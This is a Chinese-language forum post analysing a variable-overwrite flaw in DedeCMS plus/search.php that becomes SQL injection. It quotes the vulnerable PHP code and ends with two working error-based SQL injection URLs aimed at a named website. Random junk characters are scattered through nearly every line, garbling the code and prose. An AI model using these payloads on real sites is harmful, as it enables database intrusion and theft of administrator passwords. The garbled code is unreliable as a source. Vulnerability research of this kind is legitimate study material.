微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.7 |$ Y* ]1 t3 Z+ `/ m
作者: c4rp3nt3r@0x50sec.org2 ?1 b8 x3 Z7 l
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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- k, _# G4 x9 P黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.; V, g" m" f' u: C& M
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.( g; b3 w( l6 ]
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require_once(dirname(__FILE__).”/../include/common.inc.php”);1 H& Z. o0 w6 d& z: y& {" }1 N
require_once(DEDEINC.”/arc.searchview.class.php”);; q, G4 G, o1 F% z2 h
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$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
7 R. A N8 n7 J* V' c& T$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
; U0 R+ A! i; T+ o* [- {; q! H1 y$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;. s6 @% |+ [1 ^3 n
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;+ |% `; n8 q1 ]8 s# M
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
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if(!isset($orderby)) $orderby=”;8 K( I$ V9 D4 E6 ]
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
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- e0 |% O0 @# X" I7 Q ^if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
; j( |1 t6 M" E' U& J% Nelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);# X2 L1 d* w" W& K* t( {: Z
1 G2 e `) _( sif(!isset($keyword)){: }& A. t3 f" z6 i, |; t. Z' n
if(!isset($q)) $q = ”;
: R2 k# u; u. E; C& B. n $keyword=$q;2 l7 O6 s$ I# H1 v' ~4 ^
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* u, Q1 K& P4 |$ C+ { x/ f$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));9 V, N3 p% ]) z8 K# u
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//查找栏目信息
& \* _ t: X+ yif(empty($typeid))) Y- A5 F- p) [7 }8 z9 D t6 [
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$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
- \3 V# D! ^$ g0 n* c$ R# p if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
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$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
6 U; B, F3 I4 j! X fwrite($fp, “<”.”?php\r\n”);% ~9 L5 E- q [& r4 A
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);2 G2 N8 j- W) a8 G8 S& R7 A5 g
$dsql->Execute();
9 K: K O/ T& e8 x8 n+ ] while($row = $dsql->GetArray())
& A$ D% ?2 C, g$ I {
) f0 i2 D S7 _7 w fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);. ]3 Y: P- w- G( F5 f- M$ ]
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fwrite($fp, ‘?’.'>’);
1 B7 y' h1 E" s1 F' J) j' w5 m fclose($fp);2 X8 U M; {5 a( K6 q4 K6 {: |
}
* A! |3 R2 |6 }# S //引入栏目缓存并看关键字是否有相关栏目内容
: V& \/ ]) C) O1 o$ e% A( \7 N" R require_once($typenameCacheFile);
2 ~4 m! \* f' Q# ]//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
( M8 t8 s" j$ K, ^2 A2 P! T//
4 A/ C1 W: B/ `1 {( B( I if(isset($typeArr) && is_array($typeArr))
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foreach($typeArr as $id=>$typename)' f, f. m& J, p; \( y+ g
{
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<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
0 B5 H8 l2 O/ W4 @8 R1 Y if($keyword != $keywordn)
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) @2 W) t( x' C3 v4 o1 c $keyword = $keywordn;6 `8 e4 q/ v7 ^% ~0 b
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设7 v5 n1 e: W4 c8 L
break;1 Z9 i0 k+ ?$ G& s2 r2 K! I6 m
}
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}
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8 B9 L% T2 N6 f( s然后plus/search.php文件下面定义了一个 Search类的对象 .
. L( S9 W. w6 X0 B8 R8 [; M9 o# M: [在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
( Y4 b# ^) { X% z8 L$this->TypeLink = new TypeLink($typeid);
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7 p% U% p' ~2 Q+ b# jTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
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- h( Q% E0 E. d5 Q9 R3 G* P# Aclass TypeLink
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var $typeDir;- g' b+ ]) ]7 M5 K) a
var $dsql;
# p; E2 ^3 X4 C( D" W; S/ ~$ A9 e var $TypeID;1 D6 I% C7 G5 ?8 d/ j- U- R3 Q0 e
var $baseDir;
. P0 A4 I" \; B3 y A9 u var $modDir;
* h2 X8 k$ i4 y: @. `% r5 m- D; _" h var $indexUrl;
9 [4 l7 L3 T1 X% u0 c. N var $indexName;6 T; S1 G0 |! H+ X. J' n' p
var $TypeInfos;, c1 @/ Y. p- l% \
var $SplitSymbol;
7 N5 t) Z1 `, U4 ]& M! B& R6 X var $valuePosition;
) L2 x+ R8 V1 p5 I% w' X# v" P var $valuePositionName;" o, b: F* p- |
var $OptionArrayList;//构造函数//////// r* p. J5 `3 C- ?- }$ J! [
//php5构造函数
$ d1 x3 W3 L0 E+ Q" F7 T+ r function __construct($typeid)5 _9 ?% t5 R" W ?+ a' k
{
% ?9 _, } l$ L/ C $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
0 F, a+ Y4 H- }9 d4 ~& x) p $this->indexName = $GLOBALS['cfg_indexname'];
. v* O' b* P8 ~3 j( ~4 N, b $this->baseDir = $GLOBALS['cfg_basedir'];
' w" V& X5 {/ q $this->modDir = $GLOBALS['cfg_templets_dir']; M8 h G. y8 ]% ~0 q
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
e: P0 j9 e8 y& i $this->dsql = $GLOBALS['dsql'];' b# n( p7 w, R9 c' V
$this->TypeID = $typeid;
/ v# U6 ?: N$ v1 N7 N7 H $this->valuePosition = ”;
8 m/ Y( n) A! S( u& F* G $this->valuePositionName = ”;2 o0 d8 o3 Q: O" ?. x
$this->typeDir = ”;6 t1 Q- b9 Q3 H7 q2 [5 X( _1 t
$this->OptionArrayList = ”;3 T K, U/ {# p
- Q/ z) j/ H0 m& n //载入类目信息
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, N1 b: m. P. O+ M <font color=”Red”>$query = “SELECT tp.*,ch.typename as( }# o& y; H/ A9 X, r
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
" G) d6 `3 l6 G) C6 O`#@__channeltype` ch8 v. N5 {) P$ Q j2 l9 J9 h, h1 m
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
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/ C6 k3 w3 U3 ^1 I0 { if($typeid > 0)
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$this->TypeInfos = $this->dsql->GetOne($query);6 P1 S- y8 P/ _( W' B* s& u& K4 f
利用代码一 需要 即使magic_quotes_gpc = Off/ A0 E( n, x! b( G" e/ @
: `6 _1 f2 E4 M8 u* H8 H, [ }& t3 t( ?www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title, p) g9 P% S2 u9 l* l$ I p# s
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这只是其中一个利用代码… Search 类的构造函数再往下: |' S3 k; j: D* L/ j8 p) P+ S
# b3 b: \- u8 b( F- Q……省略
& ~+ O# G& W# d$ h9 D" I$this->TypeID = $typeid;- N0 c* B5 C4 O* J
……省略7 U& r3 ^# _# C' _0 m: Y
if($this->TypeID==”0″){7 y& h- L, d4 m$ N8 v4 Y
$this->ChannelTypeid=1;
8 x( J6 {! p& ~ }else{
2 ^( [* F( S5 y) ?1 E $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲, Q. K7 q3 X3 f; k+ c
//现在不鸡肋了吧亲…1 l6 c- y0 C/ d+ Y' J, h# H
$this->ChannelTypeid=$row['channeltype'];! [* U0 |. P1 K+ p0 H
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" K- F8 d4 |6 f/ A; Z( Q利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.8 J0 q1 I, E6 E- m4 `3 |7 c
+ g' Z/ D. X& I1 W' k- l% D) e# Uwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title. {, W1 `5 L5 i, S
4 O; R v R- ?* ^8 \如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站: m: C# e8 J' K' p
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